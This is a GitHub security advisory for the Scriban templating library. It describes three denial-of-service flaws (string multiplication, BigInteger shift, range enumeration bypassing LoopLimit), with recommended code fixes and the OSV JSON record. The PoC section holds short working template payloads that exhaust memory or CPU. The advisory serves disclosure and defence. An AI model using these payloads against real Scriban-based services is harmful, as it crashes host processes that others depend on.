GHSA-XW6W-9JJH-P9CR
Vulnerability from github – Published: 2026-03-24 22:16 – Updated: 2026-03-24 22:16Summary
Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (LimitToString, LoopLimit) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates.
Details
Vector 1: Unbounded string multiplication
In ScriptBinaryExpression.cs, the CalculateToString method handles the string * int operator by looping without any upper bound:
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334
var leftText = context.ObjectToString(left);
var builder = new StringBuilder();
for (int i = 0; i < value; i++)
{
builder.Append(leftText);
}
return builder.ToString();
The LimitToString safety control (default 1MB) does not protect this code path. It only applies to ObjectToString output conversions in TemplateContext.Helpers.cs (lines 101-121), not to intermediate string values constructed inside CalculateToString. The LoopLimit also does not apply because this is a C# for loop, not a template-level loop — StepLoop() is never called here.
Vector 2: Unbounded BigInteger shift left
The CalculateLongWithInt and CalculateBigIntegerNoFit methods handle ShiftLeft without any bound on the shift amount:
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711
case ScriptBinaryOperator.ShiftLeft:
return (BigInteger)left << (int)right;
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784
case ScriptBinaryOperator.ShiftLeft:
return left << (int)right;
In contrast, the Power operator at lines 722 and 795 uses BigInteger.ModPow(left, right, MaxBigInteger) to cap results. The MaxBigInteger constant (BigInteger.One << 1024 * 1024, defined at line 690) already exists but is never applied to shift operations.
Vector 3: LoopLimit bypass via range enumeration in builtin functions
The range operators .. and ..< produce lazy IEnumerable<object> iterators:
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417
private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right)
{
if (left < right)
{
for (var i = left; i <= right; i++)
{
yield return FitToBestInteger(i);
}
}
// ...
}
When these ranges are consumed by builtin functions, LoopLimit is completely bypassed because StepLoop() is only called in ScriptForStatement and ScriptWhileStatement — it is never called in any function under src/Scriban/Functions/. For example:
ArrayFunctions.Size(line 609) calls.Cast<object>().Count(), fully enumerating the rangeArrayFunctions.Join(line 388) iterates withforeachand appends to aStringBuilderwith no size limit
PoC
Vector 1 — String multiplication OOM:
var template = Template.Parse("{{ 'AAAA' * 500000000 }}");
var context = new TemplateContext();
// context.LimitToString is 1048576 by default — does NOT protect this path
template.Render(context); // OutOfMemoryException: attempts ~2GB allocation
Vector 2 — BigInteger shift OOM:
var template = Template.Parse("{{ 1 << 100000000 }}");
var context = new TemplateContext();
template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB)
// {{ 1 << 2000000000 }} attempts ~250MB
Vector 3 — LoopLimit bypass via range + builtin:
var template = Template.Parse("{{ (0..1000000000) | array.size }}");
var context = new TemplateContext();
// context.LoopLimit is 1000 — does NOT protect builtin function iteration
template.Render(context); // CPU exhaustion: enumerates 1 billion items
var template = Template.Parse("{{ (0..10000000) | array.join ',' }}");
var context = new TemplateContext();
template.Render(context); // Memory exhaustion: builds ~80MB+ joined string
Impact
An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via OutOfMemoryException or exhausting CPU resources. This is particularly impactful because:
- Applications relying on the default safety controls (
LoopLimit=1000,LimitToString=1MB) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. - A single malicious template expression is sufficient — no complex template logic is required.
- The
OutOfMemoryExceptionin vectors 1 and 2 typically terminates the entire process, not just the template evaluation.
Recommended Fix
Vector 1 — String multiplication: Check LimitToString before the loop
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330
var leftText = context.ObjectToString(left);
if (context.LimitToString > 0 && (long)value * leftText.Length > context.LimitToString)
{
throw new ScriptRuntimeException(span,
$"String multiplication would exceed LimitToString ({context.LimitToString} characters)");
}
var builder = new StringBuilder();
for (int i = 0; i < value; i++)
Vector 2 — BigInteger shift: Cap the shift amount
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, lines 710-711 and 783-784
case ScriptBinaryOperator.ShiftLeft:
if (right > 1048576) // Same as MaxBigInteger bit count
throw new ScriptRuntimeException(span,
$"Shift amount {right} exceeds maximum allowed (1048576)");
return (BigInteger)left << (int)right;
Vector 3 — Range + builtins: Add iteration counting to range iterators
Pass TemplateContext to RangeInclude/RangeExclude and enforce a limit:
private static IEnumerable<object> RangeInclude(TemplateContext context, BigInteger left, BigInteger right)
{
var maxRange = context.LoopLimit > 0 ? context.LoopLimit : int.MaxValue;
int count = 0;
if (left < right)
{
for (var i = left; i <= right; i++)
{
if (++count > maxRange)
throw new ScriptRuntimeException(context.CurrentNode.Span,
$"Range enumeration exceeds LoopLimit ({maxRange})");
yield return FitToBestInteger(i);
}
}
// ... same for descending branch
}
Alternatively, validate range size eagerly at creation time: if (BigInteger.Abs(right - left) > maxRange) throw ...
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Scriban"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T22:16:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nScriban\u0027s expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates.\n\n## Details\n\n### Vector 1: Unbounded string multiplication\n\nIn `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound:\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334\nvar leftText = context.ObjectToString(left);\nvar builder = new StringBuilder();\nfor (int i = 0; i \u003c value; i++)\n{\n builder.Append(leftText);\n}\nreturn builder.ToString();\n```\n\nThe `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop \u2014 `StepLoop()` is never called here.\n\n### Vector 2: Unbounded BigInteger shift left\n\nThe `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount:\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711\ncase ScriptBinaryOperator.ShiftLeft:\n return (BigInteger)left \u003c\u003c (int)right;\n```\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784\ncase ScriptBinaryOperator.ShiftLeft:\n return left \u003c\u003c (int)right;\n```\n\nIn contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One \u003c\u003c 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations.\n\n### Vector 3: LoopLimit bypass via range enumeration in builtin functions\n\nThe range operators `..` and `..\u003c` produce lazy `IEnumerable\u003cobject\u003e` iterators:\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417\nprivate static IEnumerable\u003cobject\u003e RangeInclude(BigInteger left, BigInteger right)\n{\n if (left \u003c right)\n {\n for (var i = left; i \u003c= right; i++)\n {\n yield return FitToBestInteger(i);\n }\n }\n // ...\n}\n```\n\nWhen these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` \u2014 it is never called in any function under `src/Scriban/Functions/`. For example:\n\n- `ArrayFunctions.Size` (line 609) calls `.Cast\u003cobject\u003e().Count()`, fully enumerating the range\n- `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit\n\n## PoC\n\n### Vector 1 \u2014 String multiplication OOM:\n```csharp\nvar template = Template.Parse(\"{{ \u0027AAAA\u0027 * 500000000 }}\");\nvar context = new TemplateContext();\n// context.LimitToString is 1048576 by default \u2014 does NOT protect this path\ntemplate.Render(context); // OutOfMemoryException: attempts ~2GB allocation\n```\n\n### Vector 2 \u2014 BigInteger shift OOM:\n```csharp\nvar template = Template.Parse(\"{{ 1 \u003c\u003c 100000000 }}\");\nvar context = new TemplateContext();\ntemplate.Render(context); // Allocates BigInteger with 100M bits (~12.5MB)\n// {{ 1 \u003c\u003c 2000000000 }} attempts ~250MB\n```\n\n### Vector 3 \u2014 LoopLimit bypass via range + builtin:\n```csharp\nvar template = Template.Parse(\"{{ (0..1000000000) | array.size }}\");\nvar context = new TemplateContext();\n// context.LoopLimit is 1000 \u2014 does NOT protect builtin function iteration\ntemplate.Render(context); // CPU exhaustion: enumerates 1 billion items\n```\n\n```csharp\nvar template = Template.Parse(\"{{ (0..10000000) | array.join \u0027,\u0027 }}\");\nvar context = new TemplateContext();\ntemplate.Render(context); // Memory exhaustion: builds ~80MB+ joined string\n```\n\n## Impact\n\nAn attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because:\n\n1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps.\n2. A single malicious template expression is sufficient \u2014 no complex template logic is required.\n3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation.\n\n## Recommended Fix\n\n### Vector 1 \u2014 String multiplication: Check `LimitToString` before the loop\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330\nvar leftText = context.ObjectToString(left);\nif (context.LimitToString \u003e 0 \u0026\u0026 (long)value * leftText.Length \u003e context.LimitToString)\n{\n throw new ScriptRuntimeException(span,\n $\"String multiplication would exceed LimitToString ({context.LimitToString} characters)\");\n}\nvar builder = new StringBuilder();\nfor (int i = 0; i \u003c value; i++)\n```\n\n### Vector 2 \u2014 BigInteger shift: Cap the shift amount\n\n```csharp\n// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, lines 710-711 and 783-784\ncase ScriptBinaryOperator.ShiftLeft:\n if (right \u003e 1048576) // Same as MaxBigInteger bit count\n throw new ScriptRuntimeException(span,\n $\"Shift amount {right} exceeds maximum allowed (1048576)\");\n return (BigInteger)left \u003c\u003c (int)right;\n```\n\n### Vector 3 \u2014 Range + builtins: Add iteration counting to range iterators\n\nPass `TemplateContext` to `RangeInclude`/`RangeExclude` and enforce a limit:\n\n```csharp\nprivate static IEnumerable\u003cobject\u003e RangeInclude(TemplateContext context, BigInteger left, BigInteger right)\n{\n var maxRange = context.LoopLimit \u003e 0 ? context.LoopLimit : int.MaxValue;\n int count = 0;\n if (left \u003c right)\n {\n for (var i = left; i \u003c= right; i++)\n {\n if (++count \u003e maxRange)\n throw new ScriptRuntimeException(context.CurrentNode.Span,\n $\"Range enumeration exceeds LoopLimit ({maxRange})\");\n yield return FitToBestInteger(i);\n }\n }\n // ... same for descending branch\n}\n```\n\nAlternatively, validate range size eagerly at creation time: `if (BigInteger.Abs(right - left) \u003e maxRange) throw ...`",
"id": "GHSA-xw6w-9jjh-p9cr",
"modified": "2026-03-24T22:16:01Z",
"published": "2026-03-24T22:16:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-xw6w-9jjh-p9cr"
},
{
"type": "PACKAGE",
"url": "https://github.com/scriban/scriban"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Scriban has Multiple Denial-of-Service Vectors via Unbounded Resource Consumption During Expression Evaluation"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.